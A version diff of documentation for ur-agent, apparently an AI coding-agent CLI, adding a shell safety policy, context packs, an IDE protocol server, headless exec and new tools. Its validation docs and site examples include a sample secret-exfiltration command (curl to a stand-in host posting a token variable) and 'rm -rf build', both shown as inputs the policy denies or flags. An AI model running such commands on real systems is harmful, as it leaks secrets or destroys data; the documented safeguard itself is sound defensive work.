ur-agent 1.18.0 → 1.20.0

package/docs/AGENT_FEATURES.md

@@ -1,6 +1,6 @@
 # Agent Feature Expansion
 
-This page tracks the nine agent-platform additions that were prioritized after
+This page tracks the agent-platform additions that were prioritized after
 comparing UR with current Codex, Claude Code, Copilot, and Jules-style agent
 workflows.
 
@@ -25,6 +25,15 @@ ur bg run "fix the flaky parser test" --worktree --dry-run
 ur test-first detect
 ur test-first --dry-run
 ur test-first install
+ur safety status
+ur safety init
+ur safety check --command "rm -rf build"
+ur context-pack scan
+ur context-pack remember --decision "Use package scripts before ad hoc commands"
+ur context-pack compress
+ur acp serve --port 8123
+ur acp status --json
+ur exec "add tests for the parser" --concurrency 4 --json
 ur repo-edit index
 ur repo-edit preview rename oldName --to newName
 ur repo-edit apply rename oldName --to newName --check "bun test"
@@ -42,6 +51,26 @@ ur --discover-ollama
 ur --ollama-host http://192.168.1.50:11434
 ```
 
+## v1.20.0 Additions
+
+| Addition | Surface | What it adds |
+| --- | --- | --- |
+| ACP server for IDE extensions | `ur acp serve\|stop\|status` | HTTP+JSON-RPC Agent Communication Protocol server that exposes tool listing, tool calls, task submission, and status for VS Code/Cursor/Zed-like editors. |
+| Non-interactive pool execution | `ur exec [prompts...]` | Run one or more prompts headlessly with optional concurrency, worktrees, output capture, and dry-run. |
+| GitHub tool | `GitHub` | PR/issue/repo operations via the `gh` CLI. |
+| API tool | `Api` | REST HTTP calls with JSON/text output. |
+| Browser tool | `Browser` | Headless browser automation (fetch/goto/click/type/evaluate/screenshot); interactive actions require `UR_BROWSER_TOOL=1`. |
+| Docker tool | `Docker` | Container and compose operations via the `docker` CLI. |
+| Test-runner tool | `TestRunner` | Auto-detect and run project tests. |
+| Database tool | `Database` | SQL queries against SQLite, Postgres, MySQL, and DuckDB. |
+
+## v1.19.0 Additions
+
+| Addition | Surface | What it adds |
+| --- | --- | --- |
+| Permission and safety policy | `ur safety status\|init\|check` | Separates read/write/execute/network command permissions, asks before destructive commands, recommends sandboxing for risky operations, and denies common secret-file and secret-like environment exfiltration paths before broad Bash allow rules. |
+| Project context pack | `ur context-pack scan\|remember\|compress` | Builds `.ur/project-manifest.json` and `.ur/context/architecture.md` from manifests, instruction files, Project DNA, verify gates, and safety config; stores task decisions, constraints, commands, diffs, and notes; compresses old context into `.ur/context/compressed.md`. |
+
 ## v1.18.0 Additions
 
 | Addition | Surface | What it adds |
@@ -88,6 +117,8 @@ and route model work through the local Ollama-backed UR runtime.
 | Semantic memory index | `ur semantic-memory build|search` | Local memory index over durable memory, docs, README, and UR instructions |
 | Claim provenance ledger | `ur claim-ledger add|list|validate` | Maps generated claims to web, file, MCP, tool, or user sources |
 | Browser replay evals | `ur browser-qa list|validate|run` | Validates replay fixtures and performs lightweight target smoke checks |
+| Permission and safety policy | `ur safety status|init|check` | Project-aware shell safety checks for destructive operations, sandbox recommendations, permission classes, and secret exfiltration denial |
+| Project context pack | `ur context-pack scan|remember|compress` | Architecture manifest, durable task memory, and compressed context summaries based on manifests and instructions |
 
 ## Design Notes
 

package/docs/AGENT_TRENDS.md

@@ -41,6 +41,13 @@ ur arena "implement a debounce helper" --agents 2 --dry-run
 ur test-first detect
 ur test-first --dry-run
 ur test-first install
+ur safety status
+ur safety check --command "rm -rf build"
+ur context-pack scan
+ur context-pack remember --decision "Use manifest commands first"
+ur context-pack compress
+ur acp serve --port 8123
+ur exec "add tests for the parser" --concurrency 4 --json
 ur ci-loop --command "bun test" --dry-run
 ur artifacts capture-diff
 ur artifacts capture-tests --command "bun test"
@@ -67,6 +74,8 @@ Inside an interactive session:
 | Long-term memory | Covered | `/remember`, `/forget`, `.ur/memory`, semantic memory, research notes, team memory, consolidation, `ur memory retention` | Tune retention defaults from real long-run telemetry |
 | Semantic codebase retrieval | Covered | local embedding-based code index (`ur code-index`), opt-in `CodeSearch` tool, incremental re-index, auto-reindex watcher, Ollama embeddings | Add richer symbol-aware ranking |
 | Reliable repo editing | Covered | `ur repo-edit` builds a file/symbol index, performs AST-aware JS/TS identifier rename planning, previews patches before writing, and applies multi-file edits transactionally with rollback on syntax or check failure | Extend AST edits beyond identifier rename into import moves and signature-aware refactors |
+| Permission and safety policy | Covered | `ur safety`, `.ur/safety-policy.json`, pre-Bash safety evaluation, read/write/execute/network command classes, destructive-command approval, sandbox recommendations, and secret exfiltration denial | Record sandbox attestation in every risky command's evidence trail |
+| Project context management | Covered | `ur context-pack`, `.ur/project-manifest.json`, `.ur/context/*`, Project DNA, instruction files, verify gates, and task memory for decisions/constraints/commands/diffs | Feed the generated project manifest into subagent prompt selection and verifier gate choice |
 | AGENTS.md interoperability | Covered | `AGENTS.md` loaded as runtime project context (before `UR.md`), plus imported at `ur init` | Keep aligned as the AGENTS.md spec evolves |
 | Browser and computer-use workflows | Covered | `/browser`, `/chrome`, Playwright-aware tasks, WebSearch, WebFetch, risky-action approval | Add more release fixtures with screenshots and replay assertions |
 | Provenance and citations | Partial | WebFetch source URLs, `/cite`, `/graph`, `/trace`, evidence ledgers | Add claim-to-source mapping for web/MCP answers |
@@ -81,6 +90,8 @@ Inside an interactive session:
 | Self-healing CI | Covered | `ur ci-loop` runs a command, summarizes failures, invokes a fix agent, and re-runs with bounded retries; commits/pushes are self-review gated | Wire to `ur trigger` so a failed CI webhook auto-launches the loop |
 | Verifiable artifacts | Covered | `ur artifacts` records plans/diffs/test-runs with approve/reject/feedback under `.ur/artifacts/`; comments steer active background agents through stream-json inbox injection | Attach browser-QA screenshots and link artifacts to claim-ledger entries |
 | Native IDE review | Covered | `ur ide diff` writes `.ur/ide/diffs/` bundles and `extensions/vscode-ur-inline-diffs/` provides a VS Code tree/webview/comment surface | Add JetBrains packaging if demand appears |
+| ACP / IDE agent server | Covered | `ur acp serve|stop|status` exposes an HTTP+JSON-RPC agent server so VS Code/Cursor/Zed extensions can list tools, call tools, and submit tasks | Ship reference editor extensions |
+| External tool integration | Covered | Built-in `GitHub`, `Api`, `Browser`, `Docker`, `TestRunner`, and `Database` tools complement existing file-system, terminal, web, and MCP tools | Add richer output parsing and error recovery |
 
 ## v1.13.9 Direct CLI Surfaces
 

package/docs/AGENT_UPGRADE_1.19.0.md

@@ -0,0 +1,41 @@
+# UR Agent 1.19.0 Upgrade Notes
+
+UR 1.19.0 adds two P0 agent reliability surfaces: project safety policy and
+project context packing.
+
+## What Changed
+
+- `ur safety status|init|check` evaluates shell command risk before execution.
+- Bash permission checks consult the project safety policy before broad allow
+  rules and sandbox auto-allow.
+- The safety policy separates read, write, execute, and network permission
+  classes.
+- Destructive commands require approval.
+- Write, execute, and network operations receive sandbox guidance.
+- Common secret-file and secret-like environment exfiltration paths are denied.
+- `ur context-pack scan|remember|compress` writes a manifest-backed repository
+  architecture summary and durable task memory.
+
+## New Project Files
+
+- `.ur/safety-policy.json` from `ur safety init`
+- `.ur/project-manifest.json` from `ur context-pack scan`
+- `.ur/context/architecture.md`
+- `.ur/context/task-memory.jsonl`
+- `.ur/context/compressed.md`
+
+Commit only shared policy and architecture files that are safe for teammates.
+Keep local task memory private when it contains local decisions, file paths, or
+operational notes that should not be shared.
+
+## Validate
+
+```sh
+ur safety status
+ur safety check --command "rm -rf build"
+ur context-pack scan
+ur context-pack remember --decision "Use manifest commands first"
+ur context-pack compress
+bun run typecheck
+bun test
+```

package/docs/AGENT_UPGRADE_1.20.0.md

@@ -0,0 +1,42 @@
+# UR Agent 1.20.0 Upgrade Notes
+
+UR 1.20.0 adds IDE integration and a richer tool surface for agent workflows.
+
+## What Changed
+
+- **ACP server** — `ur acp serve|stop|status` exposes an HTTP+JSON-RPC Agent
+  Communication Protocol server for VS Code/Cursor/Zed-like editors. It lists
+  tools, calls tools, sends tasks, and reports status. Existing A2A and MCP
+  support remains unchanged.
+- **`ur exec`** — run one or more prompts in non-interactive mode with optional
+  concurrency, worktrees, and output capture.
+- **New built-in tools** exposed through the agent loop, MCP server, and ACP
+  server:
+  - `GitHub` — PR/issue/repo operations via the `gh` CLI.
+  - `Api` — REST HTTP calls with JSON/text output and path extraction.
+  - `Browser` — headless browser automation (fetch/goto/click/type/evaluate/
+    screenshot); interactive actions require `UR_BROWSER_TOOL=1`.
+  - `Docker` — container and compose operations via the `docker` CLI.
+  - `TestRunner` — auto-detect and run project tests.
+  - `Database` — SQL queries against SQLite, Postgres, MySQL, and DuckDB.
+- File-system and terminal tools (`FileRead`, `FileEdit`, `FileWrite`, `Glob`,
+  `Grep`, `Bash`, `PowerShell`) remain built in and are now also reachable via
+  ACP/MCP.
+
+## New Commands
+
+```sh
+ur acp serve --host 127.0.0.1 --port 8123
+ur acp status --json
+ur exec "refactor the parser" --concurrency 2 --json
+ur exec --file prompts.jsonl --output-dir ./outputs
+```
+
+## Validate
+
+```sh
+ur acp status
+ur exec --dry-run "add tests"
+bun run typecheck
+bun test
+```

package/docs/CODE_FEATURE_INVENTORY.md

@@ -1,7 +1,7 @@
 # UR Agent code feature inventory
 
 This file is a code-derived inventory of what this agent can do in the
-`ur-agent` 1.18.0 source tree. It is meant to cover behavior that is easy to
+`ur-agent` 1.19.0 source tree. It is meant to cover behavior that is easy to
 miss in user-facing documentation.
 
 Sources traced include:
@@ -181,6 +181,13 @@ The CLI registers these top-level command families in `src/main.tsx`:
 - `ci-loop` / `heal`: self-healing build/test loop with bounded fix attempts.
 - `test-first` / `quality-loop` / `tf-loop`: stack-aware compile/test/lint
   loop with failure traces and `.ur/verify.json` gate installation.
+- `safety` / `safety-policy`: inspect project shell safety policy, initialize
+  `.ur/safety-policy.json`, and evaluate commands for read/write/execute/network
+  permission class, destructive-command approval, sandbox posture, and secret
+  exfiltration denial.
+- `context-pack` / `project-manifest` / `ctx-pack`: write
+  `.ur/project-manifest.json`, summarize repository architecture under
+  `.ur/context/architecture.md`, record task memory, and compress context.
 - `artifacts` / `artifact`: create, review, approve, reject, and capture
   deliverables; comments can steer linked background tasks.
 - `trigger` / `mention`: parse webhook payloads and optionally launch a run.
@@ -245,6 +252,7 @@ Code-visible slash command names include:
 - `compliance`
 - `config`
 - `context`
+- `context-pack`
 - `convert`
 - `copy`
 - `cost`
@@ -321,6 +329,7 @@ Code-visible slash command names include:
 - `role-mode`
 - `route`
 - `sandbox`
+- `safety`
 - `scope`
 - `sdk`
 - `search`
@@ -626,6 +635,12 @@ The verifier service in `src/services/verifier/**` includes:
   - bounded fix-runner retries
   - failure traces under `.ur/test-first/traces/`
   - gate installation into `.ur/verify.json`
+- Project context pack under `src/services/context/projectContextManifest.ts`:
+  - manifest generation from package scripts, Project DNA, instruction files,
+    `.ur/verify.json`, `.ur/safety-policy.json`, and other project manifests
+  - architecture summary under `.ur/context/architecture.md`
+  - task memory JSONL for decisions, constraints, commands, diffs, and notes
+  - compressed task context under `.ur/context/compressed.md`
 - Loop detection.
 - Rejection cap.
 - Optional L2 verification subagent through env opt-in.
@@ -646,6 +661,16 @@ Permission modes:
 Permission features:
 
 - Tool-level allow, deny, and ask rules.
+- Project shell safety policy under `src/services/safety/projectSafety.ts`.
+- Command permission classes: read, write, execute, and network.
+- `ur safety check --command <cmd>` previews safety behavior before execution.
+- Bash command permission checks consult the project safety policy before broad
+  sandbox auto-allow and exact allow rules.
+- Destructive commands such as recursive remove, hard reset, git clean, forced
+  push, recursive chmod/chown, filesystem formatting, infrastructure destroy,
+  and cluster delete require approval.
+- Secret exfiltration patterns deny common secret-file reads into transcript
+  and likely secret values sent to remote sinks.
 - MCP server/tool permission rules.
 - CLI, command, session, user, project, local, and managed setting sources.
 - Permission request hooks.

package/docs/CONFIGURATION.md

@@ -143,6 +143,48 @@ before the agent can declare the task complete. A failing command surfaces
 to the model as a structured reminder with the command name and the trimmed
 stdout/stderr.
 
+## Project Safety Policy
+
+`ur safety` exposes the project shell safety policy:
+
+```sh
+ur safety status
+ur safety init
+ur safety check --command "rm -rf build"
+```
+
+The default policy separates command behavior into read, write, execute, and
+network permission classes. It asks before destructive operations, recommends
+sandboxing for write/execute/network commands, and denies common secret-file or
+secret-like environment exfiltration patterns before broad Bash allow rules.
+
+Run `ur safety init` to write `.ur/safety-policy.json`. Commit it only when the
+rules are safe and useful for the whole team; keep machine-local secrets and
+local settings out of Git.
+
+## Project Context Pack
+
+`ur context-pack` writes durable architecture context and task memory:
+
+```sh
+ur context-pack scan
+ur context-pack remember --decision "Use package scripts before ad hoc commands"
+ur context-pack remember --constraint "Do not expose secret values"
+ur context-pack remember --command "bun run typecheck"
+ur context-pack remember --diff "Safety policy wired into Bash permission checks"
+ur context-pack compress
+```
+
+Generated files:
+
+- `.ur/project-manifest.json` — architecture manifest from Project DNA,
+  `package.json`, instruction files, `.ur/verify.json`, `.ur/safety-policy.json`,
+  and other manifests.
+- `.ur/context/architecture.md` — human-readable architecture summary.
+- `.ur/context/task-memory.jsonl` — decisions, constraints, commands, diffs,
+  and notes.
+- `.ur/context/compressed.md` — compressed task context summary.
+
 Two related slash commands:
 
 - `/verify [focus]` — manually run the deep verification subagent (e.g.

package/docs/DEVELOPMENT.md

@@ -7,7 +7,8 @@
 - `src/main.tsx` defines top-level CLI flags and subcommands.
 - `src/commands.ts` registers slash commands and command modules.
 - `src/tools/` contains tool implementations.
-- `src/services/` contains API, MCP, analytics, sync, and runtime services.
+- `src/services/` contains API, MCP, analytics, sync, safety, context, and
+  runtime services.
 - `src/components/` and `src/ink/` implement the terminal UI.
 - `examples/` contains example prompts and workflows.
 - `test/` contains Bun tests for local UR utility modules.
@@ -43,6 +44,11 @@ Use `ur test-first detect` when adding a feature to inspect the repository's
 detected compile/test/lint command set before choosing the final verification
 commands for the change.
 
+Use `ur safety check --command "<cmd>"` before documenting or automating risky
+shell commands. Use `ur context-pack scan` when a change adds new manifests,
+command surfaces, or architecture rules that should be captured as project
+context.
+
 The GitHub install path uses the bundled launcher in `dist/cli.js`, so `bun run bundle` must be run before packaging or pushing a release. `bun run release:check` verifies that `package.json`, `bunfig.toml`, the bundle, docs, and `node ./bin/ur.js --version` agree.
 
 ## Build
@@ -69,6 +75,9 @@ For top-level commands, also update the static documentation site command data
 in `documentation/app.js` and any relevant tutorial section in
 `documentation/index.html`.
 
+For command surfaces that write `.ur/` state, update configuration and
+validation docs with the generated files and cleanup expectations.
+
 ## Local Command Link
 
 From the repository root:

package/docs/USAGE.md

@@ -92,6 +92,14 @@ Use `UR.local.md` for private local instructions. It is ignored by `.gitignore`.
 
 Project `.ur/` assets can hold settings, skills, agents, MCP config, and local runtime state. Commit only shared files. Keep local memory, generated indexes, logs, and local settings untracked.
 
+For a manifest-backed summary of the repository, run:
+
+```sh
+ur context-pack scan
+ur context-pack remember --decision "Use package scripts before ad hoc commands"
+ur context-pack compress
+```
+
 ## Commands
 
 UR includes slash commands and CLI subcommands for common workflows:
@@ -104,6 +112,8 @@ UR includes slash commands and CLI subcommands for common workflows:
 - `ur a2a card` to print UR's Agent Card metadata for A2A discovery
 - `ur bg ...` to run detached local background agents with optional worktrees and PRs
 - `ur repo-edit ...` to index the repo, plan AST-aware renames, preview patches, and apply with rollback
+- `ur safety ...` to inspect project shell safety policy and preview command risk
+- `ur context-pack ...` to summarize architecture and persist task decisions, constraints, commands, and diffs
 - `ur code-index watch` to keep the local semantic code index fresh
 - `ur memory retention ...` to prune project-local memory by TTL, max entries, and decay
 - `ur spec ...` to scaffold requirements, design, and tasks, then run a spec task list
@@ -113,6 +123,8 @@ UR includes slash commands and CLI subcommands for common workflows:
 - `ur ci-loop ...` to run tests, repair failures, and rerun with a bounded loop
 - `ur artifacts ...` to capture reviewable diffs, test runs, notes, and feedback
 - `ur ide diff ...` to capture editor-readable inline diff bundles
+- `ur acp ...` to start/stop/status the Agent Communication Protocol server for IDE extensions
+- `ur exec ...` to run prompts in non-interactive mode with optional concurrency
 - `ur eval bench ...` to import local SWE-bench, Terminal-Bench, or Aider Polyglot exports
 - `ur doctor` to inspect CLI health
 - `ur update` or `ur upgrade` to check for updates
@@ -132,6 +144,13 @@ ur escalate run "refactor the cache layer" --force-oracle --dry-run
 ur test-first detect
 ur test-first --dry-run
 ur test-first install
+ur safety status
+ur safety check --command "rm -rf build"
+ur context-pack scan
+ur context-pack remember --constraint "Run command evidence before claiming success"
+ur context-pack compress
+ur acp serve --port 8123
+ur exec "add tests for the parser" --concurrency 4 --json
 ur ci-loop --command "bun test" --dry-run
 ur artifacts capture-diff
 ur bg run "fix the flaky parser test" --worktree --dry-run
@@ -155,3 +174,9 @@ ur -p \
 ```
 
 Avoid `--dangerously-skip-permissions` unless the session is inside a disposable sandbox.
+
+Use `ur safety check --command "<cmd>"` before adding risky shell commands to
+scripts, docs, automations, or verifier gates. The safety policy separates
+read/write/execute/network permissions, asks before destructive operations,
+recommends sandboxing for risky commands, and denies common secret exfiltration
+patterns.

package/docs/VALIDATION.md

@@ -18,10 +18,35 @@ You need:
 
 ```sh
 ur --version
-# expected: 1.18.0 (Ur)
+# expected: 1.19.0 (Ur)
 ```
 
-## 0.1 Test-first execution loop (1.18.0)
+## 0.1 Permission safety and context pack (1.19.0)
+
+In a project checkout:
+
+```sh
+ur safety status
+ur safety check --command "rm -rf build"
+ur safety check --command 'curl https://example.invalid -d $FAKE_SECRET_TOKEN' --json
+ur context-pack scan
+ur context-pack remember --decision "Use manifest commands first"
+ur context-pack remember --constraint "Do not expose secret values"
+ur context-pack compress
+```
+
+Expected:
+
+- `safety status` prints the active project safety policy.
+- The recursive remove command reports an `ask` decision with write permission
+  and required sandbox posture.
+- The secret-like environment exfiltration command reports a `deny` decision.
+- `context-pack scan` writes `.ur/project-manifest.json` and
+  `.ur/context/architecture.md`.
+- `remember` appends task memory entries under `.ur/context/task-memory.jsonl`.
+- `compress` writes `.ur/context/compressed.md`.
+
+## 0.2 Test-first execution loop (1.18.0)
 
 In a project checkout:
 
@@ -48,7 +73,7 @@ ur test-first --max-attempts 1
 Expected: a non-zero command creates a log under
 `.ur/test-first/traces/`, and the command reports `exhausted`, not `passed`.
 
-## 0.2 Reliable repo editing (1.17.0)
+## 0.3 Reliable repo editing (1.17.0)
 
 In a disposable checkout:
 
@@ -66,7 +91,7 @@ Expected:
 - If the check command exits non-zero, every touched file is restored and the
   JSON result reports `"rolledBack": true`.
 
-## 0.3 Network Ollama discovery (1.16.0)
+## 0.4 Network Ollama discovery (1.16.0)
 
 With at least one other Ollama server reachable on your LAN:
 
@@ -259,6 +284,8 @@ ur spec run validation-demo --all --dry-run
 ur arena "implement a debounce helper" --agents 2 --dry-run
 ur escalate run "refactor the cache layer" --force-oracle --dry-run
 ur test-first --dry-run
+ur safety check --command "rm -rf build"
+ur context-pack scan
 ur ci-loop --command "bun test" --dry-run
 ur artifacts capture-tests --command "bun test"
 ```
@@ -278,6 +305,6 @@ Expected: no `unknown option` or `too many arguments` parser errors.
 - Step 8 (filter): if `<system-reminder>` appears in visible prose, copy
   the literal output and file an issue.
 - Step 9 (direct commands): run `ur --help` and confirm `spec`, `arena`,
-  `escalate`, `test-first`, `ci-loop`, and `artifacts` appear. If `unknown option` or
+  `escalate`, `test-first`, `safety`, `context-pack`, `ci-loop`, and `artifacts` appear. If `unknown option` or
   `too many arguments` appears, reinstall `ur-agent@latest` and verify the
   npm version with `npm view ur-agent version`.

package/documentation/README.md

@@ -17,6 +17,10 @@ required.
 When adding a public command, update the `commands` array in `app.js` and add
 examples to the relevant tutorial or workflow section in `index.html`.
 
+When a command writes project state, also update `projectFiles` in `app.js`.
+For safety or context features, include the relevant `.ur/` paths and validation
+commands so the static docs match the implementation.
+
 For public feature patches, also check the project-wide docs set:
 
 - root `README.md`

package/documentation/app.js

@@ -7,9 +7,9 @@ const featureGroups = [
   },
   {
     title: 'Project context',
-    tags: ['UR.md', 'AGENTS.md', '.ur'],
-    text: 'Repository instructions, project settings, custom agents, skills, memory, knowledge sources, verification gates, workflows, evals, and local state.',
-    commands: ['UR.md', 'AGENTS.md', '.ur/agents', '.ur/workflows', '.ur/knowledge'],
+    tags: ['UR.md', 'AGENTS.md', '.ur', 'manifest'],
+    text: 'Repository instructions, project settings, custom agents, skills, memory, knowledge sources, architecture manifests, verification gates, workflows, evals, and local state.',
+    commands: ['UR.md', 'AGENTS.md', 'ur context-pack', '.ur/project-manifest.json', '.ur/context'],
   },
   {
     title: 'Agent platform',
@@ -55,9 +55,9 @@ const featureGroups = [
   },
   {
     title: 'Security and operations',
-    tags: ['sandbox', 'scope', 'diagnostics'],
-    text: 'Permission modes, allow/deny tool lists, optional OS sandboxing, diagnostic commands, security scope, threat modeling, hardening, and vulnerability checks.',
-    commands: ['ur doctor', '/sandbox', '/scope', '/security', '/vuln'],
+    tags: ['sandbox', 'scope', 'diagnostics', 'policy'],
+    text: 'Permission modes, project safety policy, allow/deny tool lists, optional OS sandboxing, diagnostic commands, security scope, threat modeling, hardening, and vulnerability checks.',
+    commands: ['ur safety', 'ur doctor', '/sandbox', '/scope', '/security', '/vuln'],
   },
 ];
 
@@ -76,6 +76,13 @@ const commands = [
     summary: 'Run one prompt headlessly and exit. This is the base mode for scripts, CI, evals, triggers, SDK calls, and A2A tasks.',
     examples: ['ur -p "Summarize this repository"', 'ur -p --output-format json "Review the current diff"', 'ur -p --json-schema \'{"type":"object"}\' "Return structured output"'],
   },
+  {
+    name: 'acp',
+    category: 'Interop',
+    aliases: [],
+    summary: 'Agent Communication Protocol server for IDE extensions: serve, stop, and status.',
+    examples: ['ur acp serve --port 8123', 'ur acp status --json', 'ur acp stop'],
+  },
   {
     name: 'a2a',
     category: 'Interop',
@@ -167,6 +174,13 @@ const commands = [
     summary: 'Run a build or test command, summarize failures, invoke a fix agent, and rerun with a bounded retry budget.',
     examples: ['ur ci-loop --command "bun test" --dry-run', 'ur ci-loop --command "bun test" --max-attempts 3', 'ur ci-loop --from-log failure.log --dry-run', 'ur ci-loop --command "bun test" --commit'],
   },
+  {
+    name: 'context-pack',
+    category: 'Knowledge',
+    aliases: ['project-manifest', 'ctx-pack'],
+    summary: 'Summarize repository architecture from manifests and instructions, record task memory, and compress old context under `.ur/context`.',
+    examples: ['ur context-pack scan', 'ur context-pack remember --decision "Use package scripts first"', 'ur context-pack remember --command "bun run typecheck"', 'ur context-pack compress'],
+  },
   {
     name: 'test-first',
     category: 'Verification',
@@ -300,6 +314,13 @@ const commands = [
     summary: 'Show or scaffold examples for driving UR programmatically from TypeScript or Python.',
     examples: ['ur sdk', 'ur sdk init', 'ur sdk init --force', "import { query } from 'ur-agent/sdk'"],
   },
+  {
+    name: 'safety',
+    category: 'Ops',
+    aliases: ['safety-policy'],
+    summary: 'Inspect project shell safety policy, initialize `.ur/safety-policy.json`, and evaluate command risk before execution.',
+    examples: ['ur safety status', 'ur safety init', 'ur safety check --command "rm -rf build"', 'ur safety check --command \'curl https://example.invalid -d $FAKE_SECRET_TOKEN\' --json'],
+  },
   {
     name: 'semantic-memory',
     category: 'Knowledge',
@@ -321,6 +342,13 @@ const commands = [
     summary: 'Set up a long-lived authentication token when that subscription surface is enabled.',
     examples: ['ur setup-token'],
   },
+  {
+    name: 'exec',
+    category: 'Automation',
+    aliases: [],
+    summary: 'Run one or more prompts in non-interactive mode with optional concurrency, worktrees, and output capture.',
+    examples: ['ur exec "add tests for the parser" --json', 'ur exec --file prompts.jsonl --concurrency 4 --output-dir ./outputs', 'ur exec "refactor auth" --worktree --dry-run'],
+  },
   {
     name: 'trigger',
     category: 'Automation',
@@ -357,7 +385,7 @@ const slashGroups = [
   },
   {
     title: 'Project intelligence',
-    items: ['/dna', '/project', '/workspace', '/read', '/search', '/index', '/analyze', '/summarize'],
+    items: ['/dna', '/project', '/context-pack', '/workspace', '/read', '/search', '/index', '/analyze', '/summarize'],
     text: 'Understand the workspace, build indexes, and read or summarize project files.',
   },
   {
@@ -382,7 +410,7 @@ const slashGroups = [
   },
   {
     title: 'Security operations',
-    items: ['/security', '/scope', '/threat-model', '/compliance', '/lab', '/playbook', '/kali', '/harden', '/vuln', '/ir'],
+    items: ['/safety', '/security', '/scope', '/threat-model', '/compliance', '/lab', '/playbook', '/kali', '/harden', '/vuln', '/ir'],
     text: 'Read-only security workflows, test scope definition, threat modeling, hardening, vulnerability checks, and incident response.',
   },
   {
@@ -453,6 +481,21 @@ const projectFiles = [
     text: 'Reviewable plans, diffs, test runs, screenshots, notes, approvals, rejections, and feedback.',
     example: 'ur artifacts capture-diff',
   },
+  {
+    title: '.ur/safety-policy.json',
+    text: 'Project shell safety policy for read/write/execute/network classes, destructive-command approval, sandbox posture, and secret exfiltration denial.',
+    example: 'ur safety init',
+  },
+  {
+    title: '.ur/project-manifest.json',
+    text: 'Manifest-backed architecture context from Project DNA, package scripts, instruction files, verify gates, and safety config.',
+    example: 'ur context-pack scan',
+  },
+  {
+    title: '.ur/context/',
+    text: 'Architecture summaries, task memory JSONL, and compressed context for decisions, constraints, commands, diffs, and notes.',
+    example: 'ur context-pack compress',
+  },
   {
     title: '.ur/repo-edit/',
     text: 'Reliable repo-edit index data with file metadata, tokens, and JavaScript/TypeScript symbols.',
@@ -521,6 +564,16 @@ const examples = [
     text: 'Detect compile/test/lint commands, preview the loop, and install edit-time gates.',
     code: 'ur test-first detect\nur test-first --dry-run\nur test-first install',
   },
+  {
+    title: 'Command safety preview',
+    text: 'Inspect project safety policy and preview a risky shell command before adding it to docs, scripts, or automations.',
+    code: 'ur safety status\nur safety check --command "rm -rf build"\nur safety check --command \'curl https://example.invalid -d $FAKE_SECRET_TOKEN\' --json',
+  },
+  {
+    title: 'Project context pack',
+    text: 'Write architecture context, record task memory, and compress older decisions into a durable summary.',
+    code: 'ur context-pack scan\nur context-pack remember --decision "Use package scripts first"\nur context-pack remember --constraint "Never expose secret values"\nur context-pack compress',
+  },
   {
     title: 'Reviewable artifacts',
     text: 'Capture diffs or test runs for approval and feedback.',